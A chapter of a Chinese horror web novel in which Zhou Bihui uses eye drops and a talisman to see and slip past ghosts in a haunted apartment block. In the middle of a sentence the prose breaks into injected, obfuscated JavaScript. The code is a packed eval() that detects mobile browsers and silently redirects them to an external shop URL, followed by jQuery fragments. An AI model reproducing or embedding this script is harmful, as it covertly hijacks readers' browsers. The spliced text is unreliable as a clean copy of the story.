这会儿，周笔灰完全确定了，自己就是这间鬼屋的人主，已经完成死而复生，脱离了原先的叙事线。
所以，他不再是“何先生”家中的一员，只是周笔灰自己。
他深吸一口气，将从小白那里得来的两样东西——一小瓶透明眼药水，一张边缘磨损的黄色符纸，紧紧捏在手里。
符纸粗糙，玻璃瓶冰凉。他没把它们放进口袋，就这么捏着。
回到小区，他走到电梯间。
不锈钢电梯门映出他低落沉静的脸。
门“叮”一声滑开。
里面已经站着几个人：提菜篮的中年妇女，戴耳机刷手机的年轻人，穿睡衣趿拖鞋的老大爷。
周笔灰走进去，按下19楼。
电梯门即将关闭时，他忽然察觉到异样。
太安静了。
不是没有声音，电梯在运行，有衣物摩擦的窸窣，但一种凝滞的寂静笼罩了这狭小空间。
他抬起头，从光洁的电梯内壁上看到身前众人的倒影。
他们都在看他。
那不是随意的一瞥，而是凝固的、带着惊惧与排斥的注视。中年妇女的菜篮歪了，葱叶滑落，她毫无知觉；年轻人的手指僵在屏幕上；老大爷眼睛瞪得极大，嘴唇无声翕动。
他们的目光死死钉在周笔灰垂在身侧、捏着黄色符纸的右手上。
那不像是在看一个陌生人，更像是在看某种不祥之物。
周笔灰心脏一沉。
伙伴们下落不明，焦虑本就压在心头，此刻被这莫名其妙的敌意包围，一股烦躁混着破罐破摔的冲动涌了上来。
他懒得再揣测什么规则。
去他的规则。
电梯经过18楼时，他没有动。电梯略一停顿，门没开，继续向上。
数字跳到19。
“叮。”
门开了，外面是19楼的走廊。
周笔灰迈步出去，身后的电梯门迅速合拢。他站在走廊中央，异样感更强烈了。眼前一切看起来“正常”。
但这“正常”在他眼里显得无比虚假。
他顿了顿，不再迟疑，径直走向隔壁的1906。
深红色的防盗门紧闭，门上的福字贴纸褪色发白。
他抬手叩门。
“咚、咚、咚。”
声音在空旷的走廊里回荡。
无人回应。
周笔灰耐心等着。
就在他准备离开时——
“嗒…嗒…嗒……”
门内传来了高跟鞋的声音，不疾不徐，越来越近。
周笔灰停住脚步，身体绷直。他将捏着符纸和眼药水的手背到身后，面朝房门。
“咔哒。”
门锁转动，门被拉开。
门内站着一个女人，约莫三十出头，穿着暗红色连衣裙，长发挽起，笑容温婉。
“周先生？”她声音柔和，“有什么事情吗？对了，你之前送来的果篮，孩子们很喜欢，已经吃完了。真是谢谢你呀。”
周笔灰愣住了。果篮？
他压下疑惑，目光投向房间内部。
里面的景象让他一怔。
入户是宽敞的玄关，铺着米色大理石地砖。客厅开阔，现代轻奢风格：浅灰色绒面沙发，巨大的液晶电视，阳光从落地窗洒入。房间一尘不染，摆着绿植和摆件，透着温馨与格调。
周笔灰的视线扫过，落回女主人脸上。他试图将这张脸与记忆中红衣女鬼的形象重叠，却无法确定。
见他发怔，女主人脸上多了关切，偏头问：“周先生？你是不是身体不太舒服？脸色有些苍白。”
周笔灰回过神，顺着说道：“是有点……可能中暑了。家里的滤水系统出了问题，桶装水还没送到。不知道方不方便讨杯水喝？”
借口生硬，但女主人并未起疑，侧身让开：“当然方便，快请进。”
周笔灰道谢，走进1906，在离门口不远的餐椅坐下。这个位置既能观察客厅，又离出口近。
“您稍等。”女主人转身走向厨房。
周笔灰坐着，目光警惕地扫视。茶几上摆着未下完的儿童跳棋，沙发角落有个毛绒兔子。一切都充满生活气息，真实得反常。
不能再等了。
必须确认。
他背对厨房，迅速将眼药水瓶拿到眼前，仰头，扒开下眼睑，将液体滴入右眼，然后是左眼。
冰凉的刺激让他闭紧眼睛。
两秒后，他睁开。
世界撕裂了。
温馨明亮的客厅瞬间覆上浓稠的阴影与腐朽。大理石地砖污秽不堪，布满深褐色污渍和裂纹。
沙发只剩下锈蚀的弹簧框架和破烂发黑的布絮，覆盖着厚厚的灰白色霉尘。
落地窗玻璃碎裂，窗外是翻滚的暗灰色浓雾。
空气里弥漫着焦糊、血腥和蛋白质高度腐败的恶臭。
最恐怖的，是从厨房走来的那个“东西”。
它仍穿着暗红色连衣裙，但布料褴褛，沾满黑红污迹。皮肤呈死尸般的青灰浮肿，布满尸斑和溃烂。脸上皮肉萎缩紧贴骨骼，眼眶深陷，里面是两团幽幽的暗红色光点。嘴唇干裂消失，露出参差不齐的森白牙齿。
它手里端着一个边缘破损的陶碗，里面晃荡着浑浊可疑的液体。
它朝周笔灰走来，残缺的手向前伸着，似乎要递过那碗“水”。那张恐怖的脸上肌肉扭曲，试图挤出笑容的弧度，却更显狰狞。
强烈的视觉冲击和生理厌恶让周笔灰汗毛倒竖。他凭借意志力没有失态，猛地从椅子上弹起，挤出一句：“不用了！我突然想起有急事！告辞！”
话音未落，他已踉跄着冲向敞开的房门。
身后传来嘶哑迟缓的声音：“周……先生……水……”
周笔灰冲出1906，反手重重甩上房门。
他背靠冰凉的门板剧烈喘息，心脏狂跳，额头沁出冷汗。
危机感并未消失。
他听到门内脚步声正在靠近门边。
周笔灰一个激灵，手忙脚乱摸出1903的钥匙。
手指僵硬，钥匙串叮当作响，试了两次才对准锁孔。
“咔。”1906的门锁再次转动。
就在门被拉开一条缝隙的瞬间，周笔灰拧开了1903的门。他闪身而入，用力关门落锁，背靠门板滑坐在地，大口喘气。
还没等他缓过来，抬起头看清屋内情况时，新一轮打击接踵而至。
眼前根本不是他离开时那个“正常”的1903。
而是一片彻彻底底的火灾废墟。
目光所及，尽是焦黑。
墙壁熏得漆黑，墙皮剥落，露出扭曲的钢筋和酥松的水泥。
天花板塌陷，露出楼上焦黑的地板残骸。
地上堆积着厚厚的灰烬、烧焦的木头、融化的塑料和无法辨认的杂物。刺鼻的焦糊味浓烈得窒息。几缕惨淡的光线从熏黑的窗户框透进来，照亮空气中漂浮的尘埃。
什么都没有剩下，只有毁灭。
周笔灰呆呆坐在地上，望着这片末日景象。
视觉冲击混着逃离1906的惊悸，以及内心深处的无力与绝望。
伙伴们不见了，自己孤身一人在这诡异空间里挣扎。刚刚抓住线索，转眼就面对更深的恐怖。
所有努力都像是在泥沼中下沉。
孤独、迷茫、恐惧、担忧……种种情绪如冰冷潮水淹没了他。紧绷的神经在接连打击下，到了极限。
周笔灰有点扛不住了。
当惯了独行侠，有了伙伴之后，没想到自己这么脆弱。
哎！
身体的力量被抽空，周笔灰不再试图站起，背靠着门，缓缓跪倒在冰冷的地面上。
他把额头抵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071294|177457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着焦黑的地面，灰尘沾上脸颊和头发。他没有哭，只觉得一身的冰冷疲惫。
视野开始模糊，黑暗从边缘侵蚀。
极度的精神消耗和情绪冲击让意识迅速沉沦。
他在这片废墟中央失去了意识。
……
不知过了多久。
一丝细微的嘈杂声钻入耳膜。
周笔灰皱了皱眉，眼皮挣扎着掀开一条缝。
模糊的视野逐渐清晰。
他的呼吸骤然停止。
他醒了。
但醒来的地方，不再是寂静的废墟。
1903的房间里，挤满了“人”。
密密麻麻，影影绰绰。
它们形态各异：有的保持相对完整的人形，面色青白，眼神空洞；
有的残缺不全，肢体扭曲，带着可怖伤口；
有的只是一团模糊变换的阴影，散发着怨念与寒意。
它们无声地在有限空间里飘荡、徘徊、互相穿行，对跪在门口的周笔灰似乎视而不见。
不，不是视而不见。
周笔灰的大脑在惊骇中飞速运转，瞬间明白了小白那句话——“可以让你看到你不介意看到的”。
之前滴眼药水后看到的1906的恐怖景象，竟然是“过滤”后、“不介意看到”的内容？
那是他的大脑或空间规则允许他承受的“版本”？
而现在，眼药水的时效早已过去。
这才是这个房间在“当前时间线”上，毫无遮掩的、原本的模样。
这个认知带来的寒意彻骨。
他之前以为的“恐怖”，只是冰山一角。
冷汗湿透后背。
他僵在原地，一动不敢动，屏住呼吸，生怕一丝动静就会吸引满屋鬼魂的注意。
他能感觉到无数道冰冷死寂的“视线”无意识地扫过他所处的角落。
他猛地想起小白给的另一样东西，那只一直捏在手里、后来掉落在身侧的黄色符纸。
他眼睛死死盯着离他最近、正缓缓飘来的一个半透明、腹部有巨大空洞的老妇人鬼魂，手指以极其轻微的动作在地上摸索。
指尖触到了粗糙的纸边。
他小心翼翼地将符纸捡起，回忆着小白的话，将它贴在自己额头上。
符纸贴上皮肤的瞬间，传来一丝微弱的暖意，转瞬即逝。
紧接着，变化发生了。
房间里那些原本无意识飘荡的鬼魂，动作出现了细微的凝滞。它们依旧存在，但“注意力”仿佛自动绕开了周笔灰所在的位置。
他就像变成了一块石头，一件家具，从它们的“感知”中消失了。那个飘过来的老妇人鬼魂，毫无阻碍地穿过了他刚才所在位置的空间，继续向墙壁飘去。
有效。
符咒真的能让鬼魂“看不见”他。
周笔灰心中狂喜，但丝毫不敢放松。
他维持着极度缓慢的动作，先动了动手指，然后是手臂。鬼魂没有反应。他深吸一口气，开始尝试移动。
目标是门口。
房门敞开一条缝隙,也许是他昏倒前没关严。
他像慢动作一样，一点一点屈起膝盖，用手撑地，极其缓慢地站起身,每一个关节的动作都控制在最小幅度。
他眼睛死死盯着门口附近徘徊的两个穿着旧式工装、面目模糊的男性鬼影。
一步，两步……他踮着脚尖，以近乎滑行的方式向门缝挪去。
符咒贴在额头上微微颤动，他不得不用一只手轻轻压住。
这不过七八步的距离，在这种紧张的情绪之下显得如此遥远。
周笔灰不得已压抑着狂跳的心脏。
终于，他挪到了门边，侧身，从狭窄的门缝中一点点挤了出去。
身体离开房间的刹那，他立刻反手，用最轻缓的力道将1903的房门重新掩上。